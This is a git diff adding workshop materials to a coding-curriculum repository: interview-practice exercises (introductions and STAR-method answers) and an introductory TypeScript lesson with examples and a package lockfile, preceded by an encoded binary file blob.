z$F@M+)ww_Xt_##x*~`=Cn;=EEd-n0aXra^e_Yvb`I6sLj~p({RW}H^);fmsKa^KmmPvd?G@;U7pCD^u53KG@FpY z_We!r(^vWU?JFGd5pQ$fwfsDA%U2P4N+(?u78bfB8y!VLT6rh1=C+i4`^X4yQPb1j zUj0%$pIz4ZTpS4-FiI9m+to+kjgS-eT34{B8%>`qQcdjY`&%i>==&dwAO6Wp{bMIj z+uPUHb9-ZG5$N<+JTNn>rD|$3r?d@mk!hZC=zwg=L#Aafc7;%F9cSBu$?Ge2fOa`& zh~qH|y~jfSbrO8vd&jdIy>yi!gn8o9|&4mRQ?iSBhFZikn|j$xZa9dT+1O zEV*hWNJb^E9B9*kQ|jd!942lPZ7KhdPZ9>QiK_dw@!cg*eJ?HJu` zn~MbFF<%#uR9<}hN#UJk#QXkV@4Z#s^!T1vdf&N%>TLa~C;-yc;B6hf-(^5~W>R;$ zAC`uF0io`#a~jUhKssa4 zQj&e5ZSn*#Fd>i%9JZ@^3Ot*|w;p(Mbd#F`u6icj_OO6&Vgr~m11|$=WMsqEOd4O( z>rMecCjtLu`J$aWfykk<4tTBkx7A@ozr)axI@n#tJ-6!mSqgdo>xf zC-!>Xf!=*P9hvfqRq?A-j*hZoIV@Y1ZSLI6jb3waCZ6-Ljdj5DX}b==6Grm72M$wi zAH_P}GnXG8EO=6j9SnJrnBtIx)1+;6PW^RXof61Vyx89_noZskH6SHDw1ZBjP^5~V zU64S0^q!1~bQ<;9N)t;+PhzuumA#MC&O998W9RDzShy_=+yi;@OK|%$z3+dFb6;yeS`^$(=y@NHlgti^ zR}WaeFiO{9S{;v6*wSXvH(&X$roJII6sJY5YFLX7EkNN>1ndIdP!axX-m^xVlUa#$ z!PHv$4;iuAd%vidw#8|7x#(N*Y_fM|${Qix-uwqymbRWr5pMyPC18EGPXr%>^$LC- zH>CCtFIx;N)9%J+Wk>ps|H~gHq*JtO4CsU#BTpNL>~>$-YsyH!mgf0hoHy-0%DNLv zCtPudo!`Iw=It8UOBc>f;=~hu7YS|sS=Z2eVv-J(D%jScfs?LzjLMJ4Gl&Zxe4O%* zkS#}S)OheHn|+6Q@iFPmhevG{%IAs#R?bq3TjLdw2o<~2t`gcAO`5~;YEJUaz>O`p zPF}zxFVQe|Hp~`DK}pIR=7V@i^E;y+FMio ztUith7*Y^faBA&aRHZXCnI&=|B{!V$*vUZp5im3Egyg_Zm$SM-;3Z z=&g&Mmb_9uJ01dQ!eOhX)@M@E?~Z-R*PadEGo3*YZKVv>7Ikt(3m6yb_2W_XhCZ1p zJm1uOt#4Ts#O4%VnJk%Y?4CbIM0rSFD&}&1r^qL~NF++_u2244pVT)$PS&a`J|y?W z(Pcip^3%iMRa|#|2IQjV>&!eqdxpCASp4GdZi{mbIkyF?$a1YNO%JAl;tQ9n_cvVl zR1IZ7|D2G)IX+X|#q7y~Z5PCTfvvlji1(bFpPLWA)*2f#H92u~p%E-NR!)pp$ z`Udz#Pt1CmEwrC{3D~m@t1DMX!k%1y>V@}y43Up{BQd?VdIA*P<3nC6n+)FUzq#u6Fa@OC|ebRT3ycqkqk|pSm{vNRg zaW)9XLbOlABwW)KWap7hdw@9_Uy*~?`KVt+PmW5=?GomM)Ud&UPfp#A1mIfJ!A|fD ziB)_*=}{%Sx-1m(5>^6W@M@`0h*p$-`p1vcAFged$)L$a18~~L#eMlq4>nm5zNuT^4-%@_z${^RnsP=L{W3@_H{F5R z_lyMsJJlin_Zi~xl3@&%40`F|D}IccGi`m>2K}5?DNw^dhI$4YrM^{a5G)?icnXe~ z;hgLs4k6Q0@%r5J4x}Z!hn$y|6{SWeh&taegB(FP)zzg+%pz3Y>leCIyVnhsKQZ~S zbxR&y)@zS6C_fmrX{z3Qq?KR1n#tZ|R4A-HJZzZAR=_k|r55CIFmV%mQ~#FUMkPum zJ0X<+i>@}n>sCpN>4YmgFC@m3=qyB_SC_;s2k>s;#UJ=X>`l=?0A8QiF(m}8U8@?C zfh46Z1nzAn@^|aMrQ@Q{yiy8#R;<7~%U;28ngC`2WY^^`et)@9!($rMF3(zy6lN=` zUo5oBrRMwsFIZj<61g3(FBb@t=<>PF5=WLt6|eE-;2EE^;(0*||9LkiW@gH>Y}sje z?ANGFzJ?ZUTd$7^?dV)>t}13L`Jzd2ru<2RWi8cH1&=$?`%Aw|$R6KCs^kEnmYlQ|2|=+1k&o18C+PpzZTwc@b;q7ut~dv6U~ADZZUM z8u1`n;IDdU!x6OB6&$BL-8k-dkNs9phITCEp)r2>;ZuH3Ikjt1&TE^~jGv5~S7o(% zbe_Krn;f%rnBWS80W(7bL$Nq^-HhT?2+L#hk410u(<}qQzsIu&%?_?acbx&-$1hLJ zq2sNPb7$bkf58v?`{oOOw&G~r-=F@oxov(89uk1F;;Ljd!-iItPA5kKM-QQP7Y{>H z^Vgm1RDYH34%xKPhM>D1dS`vKDM^`8uATPcGdKTd9bQpcQ!!J^OU?%;yN)A2#yN!0 zgGX}yF8R|I$#cLz{PSHt$L;>J+dtZu5cKIZQ>;_nI1l zd15JK!s={>Y0HmN&PiAd8cg;cVljLN`(PLPsi+FMfkh$Gqj@GfuuAs*`7!KAk@z|y zP0?#vi>xjuF$pHko1EOquS@)rbOV)BQaBOP`0fDXTUs-yyD6Prbv*T-`Zc(()59tu zGDb3DZr&jDI(15$`uGa}B5n>~Da2;Etv=!!_nwP|(-$W%P^mQs@BpIkv6OCVjm5Lo z)h6!&`8n`jqY|aL-%1J6~IfYG`_Y z#lAJDM`N&^w7RVq6tE3EvhPx(ZG9*ag)uLEJWTiUNoVL^PN2C>;ndcyZ(_7h+D!L3 zzb8Wg)N)cpk^w07T^qOY?H0D|Z1S6*UCu0PBdB*`N`*HzVuA&tlc+eg&fj>4KCe2To@V0IrA|7vA zEv0;O@z0KnK zYrT9^@fclvKOWRAe4}39tU(y!{iuL%WJSM}6j99uS4^V7rwauhK`{?C{)w#;YU>Vfw zjWX(<&GhGCq{?F&PEPf+IJ{dGwfApYUa|AWy4v?g^L7tSwwnNsr$4vo7qhe5j0Twg z&;dY`2s`pxfj0M;4;Na4+pKQEk6LDRX@A!`BLxGBrc^+R4{9(TJ={(ns;C!j!ZVyb zZg7Y+i0Hq%d^q^B+9gKG39zoCoz|u;iUH&S7}`!pZfh$$0M{fZ6HeKJd#J%IXMveEpZpCgF1JXGs;C@_2n&PMvAQvLna17oof&fQpk5 zfw_!L&{n?bh8iBH^+kripcx~mH+Z(VIB~g3vT~%=wmP&gO&_+lwZPiJ4p0b6@?)x9f~%mmoU!t?mj@p-fC!Pn5< zNcmKshsZ1s$DgbA|5uF^Rf!I@;FUY!VlVwAHwF&%#SvXM*QvwEw&a7xrOYHR&5VBk zJMUS=1T=kni0 z*O*Q;5_7BFAe!&w#~-=UBLhelpM-httqdOGQCXky`s|w zyHRv3De2)R8VpqWG8MFFnP*;c(r%YuVq%V531$eG1XbSro?bl4J7=6iG1iaNs80@N z4QP|M!w{GuY|D*~&Gnwkb*4fH+|BGdmBr|bq~?Fr13cSTLYECJ^np5rzx?epX8&1; zAXe9v2*Tj8qaaj%hSkBhOA(>y(H%>1w#XK-3WJ506~XhB9CnqMquFmw$_}~R@Rn4Y za-@Qmldd8MaB7tKKQUYU3qH;d-GrxIO^g4^&nWHwnV)@YJ0aJL)kgm- zL4T66OLF>oPSeZXx%!%S>XpW;IR6`ZZ@lVBV=JZI!b9vuX*es2D)&GJY1u$7I0kak zl5wD++zwMos(s`q<;<(vt6->}*kJjBw0p>1`zpEujJ8FyfhF@3sK)FVQ@jx`Pd$Ib>Ik)94#I(s=W*6ps`lv4~rh6U^yPtY%T1PgL7NcW< zTLzMHBKuR{gN}QG7FD62N3e>O8_UA^lcR%=8pPJfynl&3oU8)TNmAzZ2{?dkg?~A|)0(eoX4e%Zovi$)O4Y$wJuP?s z*V>@|pTH^a{sr8B38DTs#QT55TK|8?|2q_Y0>Fy7XD7h{xZ0APlj``N9+Es1D@`Q7 U=MfAYJN}Q7oSJNjwAo+(2m2}sQvd(} literal 0 HcmV?d00001 diff --git a/interview-introductions/readme.md b/interview-introductions/readme.md new file mode 100644 index 00000000..0391ca5a --- /dev/null +++ b/interview-introductions/readme.md @@ -0,0 +1,57 @@ +# Interview Introductions + +Before starting this workshop, you should have reviewed the interview introductions prep item. + +For this workshop you need to break up into groups of 3-4 trainees, each with at least one volunteer. We will be trying to make some sample introductions for Jane. + +Jane is a fictional person who has completed a software development programme. Jane is applying for a Junior Software Developer role with the fictional company, Software for Lawyers Ltd. You don’t need to understand all of the technical terms in these two pieces of text to complete the task. + +```objectives +- [ ] Tailor an introduction to job requirements +- [ ] Describe what makes an introduction engaging or boring +- [ ] Deliver an introduction out-loud +``` + + + +In small groups, ideally with a volunteer in each group if possible. + +1. Set a [timer for 5 minutes](https://www.google.com/search?q=timer+for+5+minutes). + +2. Read through the summary of Jane's background and the job description + +3. Set a [timer for 10 minutes](https://www.google.com/search?q=timer+for+10+minutes). + +4. Individually, write an introduction for Jane to be used for her interview with Software for Lawyers Ltd. You should be aiming for it to be 1-2 minutes long which is approximately 140-300 words. Volunteers can join in with this if they want. + +5. In your groups, take turns reading out your introductions for Jane. Give eachother feedback. Everyone in the group should give feedback about every introduction. Try to put yourselves in the shoes of the hiring manager. Does their introduction give the impression that Jane is a perfect fit? If not why not? What differences are there between your introductions? Which ones make you want to work with Jane? Why? + +6. If you have time, try making an introduction for yourself and share it with the group + + + +### Jane’s summary +Jane has recently completed the part time Super Coders Software Development programme. During this time, she was also working full-time and caring for her two children. The course teaches full stack web development and general programming concepts. It teaches HTML, CSS, JavaScript, Node.js, Express, React and PostgreSQL. + +Jane is very passionate about programming. She taught herself the Python programming language before starting the course. + +Her portfolio includes many full stack applications. This includes projects she has built with other students, as well as some solo projects. She’s especially proud of a project called Pin the Mood. This project stores book recommendations until the user has time to read the books. The project used React, Express, Node.js and PostgresSQL. The project team was an agile team made up of two trainees, a scrum master and a tech lead. + +After leaving school seven years ago, she joined Lawyers 4U as a call handler. She has developed excellent interpersonal skills and has gained experience working under pressure. + +### The Job Description +Software for Lawyers Ltd makes case management software. Their software helps lawyers manage caseloads and track time spent. The development team is small and close knit. They are looking to add a Junior Software Developer to their team. + +**Requirements** +* A university degree in a relevant subject or a software development course +* Experience with Node.js, Express and React +* A strong portfolio with solo and group projects +* Excellent interpersonal skills +* Experience developing software in an agile team +* Passionate about programming + +**Nice to Haves** +* Experience in the legal sector +* Some knowledge of Python +* Experience working in an office-based environment + diff --git a/interviewing/readme.md b/interviewing/readme.md new file mode 100644 index 00000000..97a0472a --- /dev/null +++ b/interviewing/readme.md @@ -0,0 +1,129 @@ +# Interviewing [Professional Development] [60 minutes] 🧑‍💻 + +Acing job interviews is a skill that can be learned like any other. Today we will pair up to practice interviewing. + +## Objective 💬 + +At the end of this workshop, participants can: + +- [] Introduce themselves in 2 minutes +- [] Answer soft skill interview questions using the STAR method +- [] Prepare a strategy to get ready for technical interviews + +## Setup 🌼 + +- Pair up into groups of 2. + +## Stage 1: Introduce Yourself, 15 minutes 🙆 + +In almost every interview, the interviewer will ask you to introduce yourself. The goal is to give the interviewer a snapshot of who you are, your professional background, and why you're a good fit for the role. The [CYF guide to introducing yourself](https://curriculum.codeyourfuture.io/guides/employability/interview/introducing-yourself) is a good reference that was included in this weeks prep. + +#### Take 5 mins to craft a compelling narrative. + +Some tips: +- Your response should be 1-2 minutes +- Try to structure your response, as an example the Present-Past-Future model: + - Present: Start by briefly mentioning your current role or what you are doing at the moment (education, job, etc.), and give an overview of your responsibilities. + - Past: Mention your relevant experience, skills, or education. Focus on achievements and how they shaped your current professional identity. + - Future: Highlight what you want to do next and why you’re excited about this opportunity. +- Try to be enthusiastic, let your personality and confidence shine +- Do not overwhelm your interviewer with too much information +- Allow 1-2 minutes for follow-up questions + +After the 5 minutes are up take turns practicing your introductions. + +#### Spend 10 minutes introducing yourself to each other, 5 minutes each + +Set a stop watch whilst the other person gives the introduction to see how close they are to 2 minutes. While the other person is introducing themselves, put yourself in an interviewer's shoes and ask them one or two follow up questions. Afterwards share how long their introduction took, what the other person did well and what they could improve. + +### Stage 1b: Reflect as a group, 5 minutes + +Come back to the main group and reflect together. Have a show of hands whose introduction was below 1 minute, below 2 minutes, below 5 minutes, or above 5 minutes. Discuss any challenges in keeping to a good time frame and delivering a compelling introduction. + +## Stage 2a: The Soft Skills Interview 🥎, 25 minutes + +Soft-skill interview questions are typically asked at some point during the interview process, often in the a competency based interview question style. For an in depth guide read the [CYF competency based interview guide](https://curriculum.codeyourfuture.io/guides/employability/interview/competency-interview/) that was in this weeks prep. + +Answer these questions with the [STAR method](https://ca.indeed.com/career-advice/interviewing/star-interview-method) which stands for Situation, Task, Action and Result. Here is an example of using the STAR method to answer a question: + +“Can you tell me about a time when you had to work in a team and faced a challenge?” + +- Situation : "During my final group project, we had to develop a mobile app for managing student assignments. Midway through the project, we hit a roadblock because two teammates disagreed on which framework to use: one preferred React Native, while the other wanted to stick with Flutter. This was causing delays in our progress.” +- Task : “As the team lead, my task was to resolve the conflict and ensure we stayed on schedule.” +- Action : “I organized a meeting to discuss the pros and cons of both frameworks, focusing on performance and our project requirements. After evaluating, I suggested using React Native because it allowed us to quickly integrate with the backend we’d already built. The teammate supporting Flutter agreed once we reviewed the long-term benefits.” +- Result : “We moved forward with React Native, completed the app on time, and received positive feedback from our teachers for both functionality and performance. It also helped the team work more smoothly on future features.” + +Remember, when asked about failures or mistakes to say what you learned from them. + +#### Prepare your questions, 5 minutes + +Read through the following questions and choose a 3-5 that you are going to ask your partner. You can also make up your own questions or ask follow up questions to your partners responses. + +- Tell us about a time you missed a deadline. +- What was your favorite project you have worked on so far. +- When was a time you failed? +- Tell us about a time you had to help your team members through a tough time. +- Tell me about a time you prioritized your time well, despite having multiple deadlines. +- Tell me about a time you solved a problem at work. +- How do you teach your colleagues about new practices within the company? +- Tell me about a time when things didn't go according to plan. How did you deal with it? +- What is your response when a colleague disagrees with you? +- Share a time you set a goal and achieved it. +- Tell me about a time you were working with someone on something and you disagreed about the approach +- What would you do if someone asked you to develop a feature that you thought would be detrimental to the product? +- How do you stay up to date with the latest developments in tech? +- What’s the last time you made a mistake? Talk me through how you discovered it and what you learnt from it. + +#### Spend 20 minutes asking each other questions, 10 minutes each + +### Stage 2b: Reflect as a group, 5 minutes + +Come back to the main group and reflect together on what you found easy and challenging about this exercise. Did your partner stick to the STAR method? When you are preparing for a job interview it is good to prepare some example answers to these types of questions so you have examples that come to mind easily. You don't want to be reading prepared answers word for word but if you have some examples on hand you won't have to be thinking so much during the interview. + +## Stage 3: The Technical Interview, 25 minutes 📞 + +There are different types of technical interviews that may be used, read the [full CYF guide to technical interviews](https://curriculum.codeyourfuture.io/guides/employability/interview/technical-interview-prep/) and [CYF guide to take home tests](https://curriculum.codeyourfuture.io/guides/employability/interview/take-home-tests/) for an in depth guide. + +For the purpose of today's workshop we will be covering 2 types of technical interview question. + +1. **Knowledge based technical interview questions** - The purpose of these questions is to assess your knowledge of technical concepts, where there will typically be a right and a wrong answer. It is in part a test of your memory. [This](https://www.interviewbit.com/javascript-interview-questions/) is a good list of starter Javascript questions. +2. **Opinion based technical interview questions** - The purpose of these questions is to understand your technical preferences and style. There is rarely a single correct answer, the interviewers will typically be looking to see if your views align with theirs and whether you can justify an opinion with clear reasoning. + +Some examples are +- what does good code look like for you? +- what do you look for when you are reviewing a PR? +- what is your favourite language and why? +- what sort of tests do you write and when do you write them? +- what is your favourite technical book, blog post or podcast? + +### Some tips for technical interviews: + +- Think out loud: walk the interviewer through your thought process. +- Interviewers do not expect you to know everything. Be honest when you do not know something. +- If you do not understand something, ask questions! +- Practice, practice, practice + +#### Spend 5 minutes deciding 3-4 questions to ask your partner + +You should mostly have questions that you have covered in your course so far that they are likely to know the answer to. You may want to add in just one trickier question so they can practice handling the situation where they don't know the answer. + +#### Spend 20 minutes asking each other questions, 10 minutes each + +Pick any technical topic you are familiar with such as Javascript, Python, SQL, databases, etc., and search for the Top 50 beginner interview questions for that topic. Read through the list together. Discuss if there are any surprises in there. Which questions did you find easy and which ones did you find difficult? Try asking each other a couple of questions and see if you can answer them. Practice what you will say if you do not know an answer. + +## Reflection as a group, 15 minutes 🧘‍♂️ + +With the remaining time, come together as a group and discuss: +- Which of the types of questions did you find hardest and why? Were soft skills or technical questions harder? +- How did you feel introducing yourself? How could you tailor your introduction according to a job interview. +- Did you find it difficult or easy to use the STAR method to answer the soft skill questions? Why? +- Did you find the technical interview questions challenging? What are some strategies to stay calm when you do not know the answer to a question? +- Did you naturally find a good length for your answer to be, or did you start rambling or not give enough information? +- What could you do to prepare yourself better next time? + +## Summary & Homework + +Interviewing is a skill that takes lots of practice. Your introduction should be thought out and well-polished by the time you are at your first interview. You cannot prepare answers for every soft skill question, but having 3-4 prepared in advance makes thinking on your feet easier. Prepare for technical interviews by reading through the most commonly asked questions for that topic. For questions you do not know, ask clarifying questions, say what you do know about the topic, and admit when you do not know. Your interviewer does not expect you to know everything! Interviewing is also very opinion based, even technical experts who are seasoned at interviewing will have occasions where interviews don't go to plan. + +### Homework +- set up a practice interview by the end of this week with either a volunteer or another CYF participant. diff --git a/introduction-to-typescript/.gitignore b/introduction-to-typescript/.gitignore new file mode 100644 index 00000000..28f1ba75 --- /dev/null +++ b/introduction-to-typescript/.gitignore @@ -0,0 +1,2 @@ +node_modules +.DS_Store \ No newline at end of file diff --git a/introduction-to-typescript/DAY_PLAN_WORKSHOP.md b/introduction-to-typescript/DAY_PLAN_WORKSHOP.md new file mode 100644 index 00000000..6638868d --- /dev/null +++ b/introduction-to-typescript/DAY_PLAN_WORKSHOP.md @@ -0,0 +1,268 @@ +# Introduction to TypeScript + +
                      + + Learning objectives + + +
                        +
                      • Explain what TypeScript is and how it differs from JavaScript.
                      • +
                      • Add sensible and predictable types to JavaScript variables.
                      • +
                      • Define JavaScript functions with parameter types and return types.
                      • +
                      • Explain the value of using TypeScript over JavaScript.
                      • +
                      +
                      +
                      + +## What is TypeScript and why do we use it? + +
                      + + Tips for volunteers + + + This will likely be trainees first time seeing TypeScript so start by introducing them to the very basics. Make time for questions and challenge them once they are ready to actively work with or comment on TypeScript. +

                      Here are some questions you could put to trainees when touching the relevant work: +
                        +
                      • What is the difference between static and dynamic types?
                      • +
                      • What other languages have static types and why is it useful?
                      • +
                      • What might happen if we incorrectly expected a User type where we actually have a Promise< User > type?
                      • +
                      +
                      +
                      +
                      + +At its core, TypeScript is a superset of JavaScript. This means that any valid JavaScript code is also valid TypeScript. TypeScript introduces static typing, which allows you to define the types of variables, function parameters, and return values. This additional layer of type information helps spot errors during development, making your code more reliable. + +### Basic examples (10 minutes) + +There are many basic data types in JavaScript, including but not limited to `string`, `number`, `boolean`, `undefined`, and `null`. JavaScript already has dynamic types, which means variable types are determined at runtime. + +TypeScript supports static types, which means variable types are known at compile time. Here are some examples of how we might specify static types in TypeScript: + +```TS +let name: string = "Luke"; +let age: number = 30; +let isTrainee: boolean = true; +let completedCourses: string[] = ['ITD', 'ITP', 'Piscine'] +``` + +TypeScript also supports type inference. This means that TypeScript can determine (infer) the type of variables based on their initial value: + +```TS +let name = "Luke"; // inferred as string +let age = 30; // inferred as number +let isTrainee = true; // inferred as boolean +let completedCourses = ['ITD', 'ITP', 'Piscine'] // inferred as string[] + +age = "Thirty" // TypeScript will error here: "Type 'string' is not assignable to type 'number'". +``` + +Notice how not everything needs to be explicit. TypeScript is very smart and will be able to effectively type many things itself. In fact, it will often find incorrect typing before you do. + +In our previous examples we said `completedCourses` is of type `string[]`. TypeScript lets us be even more specific by leaning on literal types: + +```TS +type Course = 'ITD' | 'ITP' | 'Piscine' | 'SDC' + +let completedCourses: Course[] = ['ITD', 'ITP', 'Piscine'] +``` + +In our example above we are defining our own type `Course` which permits a number of specific strings. It uses the union type operator `|` somewhat similarly to how we might use the logical OR operator `||`. We are stating that a variable of type `Course` may be `'ITD'` OR `'ITP'` OR `'Piscine'` OR `'SDC'`. + +We can also define an object type. For example, maybe we want to wrap our earlier fields within an object: + +```TS +type Course = 'ITD' | 'ITP' | 'Piscine' | 'SDC' + +type User = { + id: number; + name: string; + age: number; + isTrainee: boolean; + completedCourses: Course[] +}; + +const myTrainee: User = { + id: 0, + name: 'Luke', + age: 30, + isTrainee: true, + completedCourses: ['ITD', 'ITP', 'Piscine'] +} +``` + +If we tried to create a `User` but didn't give them a name, TypeScript would tell us. If we did the same in JavaScript, nothing would tell us we missed anything, but when we tried to get a `User`'s name, we'd get `undefined`. Even this probably wouldn't be an error - we may only find out when our UI tries to use this data and says _"undefined, aged 30, has done ITD, ITP, and Piscine"_. + +TypeScript also supports optional properties. For example our `User` type might have an optional `address` property that can be left out from instances of the `User` type: + +```TS +type Course = 'ITD' | 'ITP' | 'Piscine' | 'SDC' + +type User = { + id: number; + name: string; + age: number; + isTrainee: boolean; + completedCourses: Course[] + address?: string; // equates to string | undefined +}; + +// myTrainee doesn't have an address property but it is still a valid User +const myTrainee: User = { + id: 0, + name: 'Luke', + age: 30, + isTrainee: true, + completedCourses: ['ITD', 'ITP', 'Piscine'] +} +``` + +Objects can become complicated data as they grow but TypeScript makes maintaining our code far easier! + +### A more complex example (10 minutes) + +
                      + + Tips for volunteers + + + This example has a lot of moving parts and might at first be daunting for trainees. Be sure to move through it slowly and take questions from trainees. You can always break things down further with some live code! +

                      + Steer trainees towards comparing the JavaScript and TypeScript examples and towards hopefully seeing some benefits of TypeScript. +

                      + Pointing out common JavaScript pitfalls that TypeScript avoids could be helpful. For example: +
                        +
                      • Misspelt properties, e.g. user.naem will likely error.
                      • +
                      • Variables unexpectedly being null or undefined.
                      • +
                      • Accidental type coercion, for example TypeScript knows 5 + "5" will be a string ("55").
                      • +
                      +
                      +
                      + +
                      + +Let’s have a look at this example JavaScript code which fetches a user by its ID from a hypothetical API: + +```JS +async function fetchUser(id) { + const response = await fetch(`/api/users/${id}`); + return response.json(); +} + +const user = fetchUser(0); +``` + +What is a `user`? What does this data look like? We might have the answer in our head but TypeScript gives us the ability to define it in code. Let's have a look at the same example but in TypeScript: + +```TS +type Course = 'ITD' | 'ITP' | 'Piscine' | 'SDC' + +type User = { + id: number; + name: string; + age: number; + isTrainee: boolean; + completedCourses: Course[] + address?: string; +}; + +async function fetchUser(id: number): Promise { + const response = await fetch(`/api/users/${id}`); + return response.json(); +} + +const user: Promise = fetchUser(0); +``` + +Here we have specified that once our `user` has been fetched, it is of type `User`. We know it is an object and we know the type of every property in the object. + +Since we have to `await` the user being fetched, `Promise<>` tells us that our `user` will be a `Promise` until our API request has completed, at which point our `user` will be a `User`. + +## Fixing TypeScript errors (30 minutes) + +
                      + + Tips for volunteers + + +
                        +
                      • You can use larger breakout groups if you don't have a volunteer for every group of trainees. Alternatively volunteers can hop between breakout groups if you are confident that trainees will be able to handle the exercise without a volunteer present.
                      • +
                      • This part of the workshop is the main opportunity for trainees to actively engage with TypeScript. Be supportive but encourage trainees to problem solve for themselves wherever possible.
                      • +
                      • +
                        + + The nuances of exercise 3 + +
                        + This is a fairly open ended exercise. The problem is that a try catch block will always treat the error as type unknown, which isn't helpful and is prone to type errors. The simplest solution is to treat an error as any type, which is commonly done in the workplace. This is a valid approach to handling errors but it has the usual problems of the any type so trainees should be encouraged to handle errors with more nuance. +

                        + A slightly better approach is to use type coercion. For example return (error as Error).message but this is also flawed since the error type of a catch block is inherently unpredictable. +

                        + A more robust solution would be to confirm the type of error before utilising it. For example: + + if (error instanceof Error) { + return error.message + } + else { + return error + } + +

                        + There is no singular solution to this exercise so it is best to encourage trainees to see how far they can take error handling and TypeScript. +
                        +
                        +
                      • +
                      +
                      +
                      + +### Setup + +- Breakout into groups of ideally 2, and no more than 3 trainees. +- Ideally each group should have a single fork of [the exercise repository](https://github.com/CodeYourFuture/CYF-Workshops/tree/main/introduction-to-typescript) from where every member collaborates. +- Each member should clone the forked repository to a local project. +- Navigate to the `introduction-to-typescript` directory. +- Follow the instructions in the `README.md` to setup the project and run the exercise. + +### Fixing errors + +Now that you've got the project running locally, your job is to complete the exercises in order while ensuring all tests pass for each exercise. + +There are TypeScript type examples within `src/examples` should you need a hint but feel free to also do your own research. + +Designate a driver while the rest of your group guides the driver towards solutions. Aim to swap out drivers at least every 10 minutes. + +## Takeaways (10 minutes) + +
                      + + Tips for volunteers + + + Encourage engagement from the trainees. Steer trainees towards fulfilling the learning objectives but here are some other takeaways worth considering: +
                        +
                      • TypeScript makes unexpected bugs less likely.
                      • +
                      • It is easier to understand someone else’s code if it is written in TypeScript.
                      • +
                      • The output of code is more predictable. You can predict the output of a function without even seeing the code of a function.
                      • +
                      • TypeScript is optional but useful.
                      • +
                      +
                      +
                      + +Now that you have experience with TypeScript, what do you think of it? Are you able to answer: + +- When would you choose to use TypeScript over JavaScript? +- Would you prefer to use JavaScript or TypeScript? +- Would you prefer your coworkers to use JavaScript or TypeScript? +- Why would you use TypeScript if JavaScript is more flexible? + +## Additional reading + +If you would like to further your TypeScript knowledge, there are many great tutorials online. + +Total TypeScript is one such resource and has several free exercises. +https://www.totaltypescript.com/tutorials/beginners-typescript + +W3schools also has their own short and free exercises. +https://www.w3schools.com/typescript/typescript_exercises.php diff --git a/introduction-to-typescript/README.md b/introduction-to-typescript/README.md new file mode 100644 index 00000000..527a8c6a --- /dev/null +++ b/introduction-to-typescript/README.md @@ -0,0 +1,25 @@ +# Introduction to TypeScript + +## What is this workshop? + +This workshop was written as part of [the SDC curriculum](https://sdc.codeyourfuture.io/) and is suitable as a day plan activity. It is particularly relevant alongside other types and typechecking work. + +Check out `DAY_PLAN_WORKSHOP.md` for a guide on how to lead this workshop. + +## How to run these exercises locally + +Once you have cloned this repository locally, you'll need to install all dependencies for this project. You can do this via your terminal by navigating to your local project's `introduction-to-typescript` directory and then running: + +`npm install` + +You should then be able to run the tests for each respective exercise by running: + +`npm run test-exercise1` +`npm run test-exercise2` +`npm run test-exercise3` + +Expect to see red text complaining about errors until you have fixed all of the problems within the relevant exercise files `exercise1.ts`, `exercise2.ts`, `exercise3.ts`. + +There are also TypeScript syntax examples available within `src/examples` should you need a hint. + +Best of luck! diff --git a/introduction-to-typescript/package-lock.json b/introduction-to-typescript/package-lock.json new file mode 100644 index 00000000..fabc00d9 --- /dev/null +++ b/introduction-to-typescript/package-lock.json @@ -0,0 +1,1649 @@ +{ + "name": "introduction-to-typescript", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "devDependencies": { + "ts-node": "10.9.2", + "typescript": "5.9.3", + "vitest": "4.0.13" + } + }, + "node_modules/@cspotcode/source-map-support": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/@cspotcode/source-map-support/-/source-map-support-0.8.1.tgz", + "integrity": "sha512-IchNf6dN4tHoMFIn/7OE8LWZ19Y6q/67Bmf6vnGREv8RSbBVb9LPJxEcnwrcwX6ixSvaiGoomAUvu4YSxXrVgw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/trace-mapping": "0.3.9" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/aix-ppc64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", + "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "aix" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", + "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", + "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.25.12.tgz", + "integrity": "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.25.12.tgz", + "integrity": "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=18" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.25.12.tgz", + 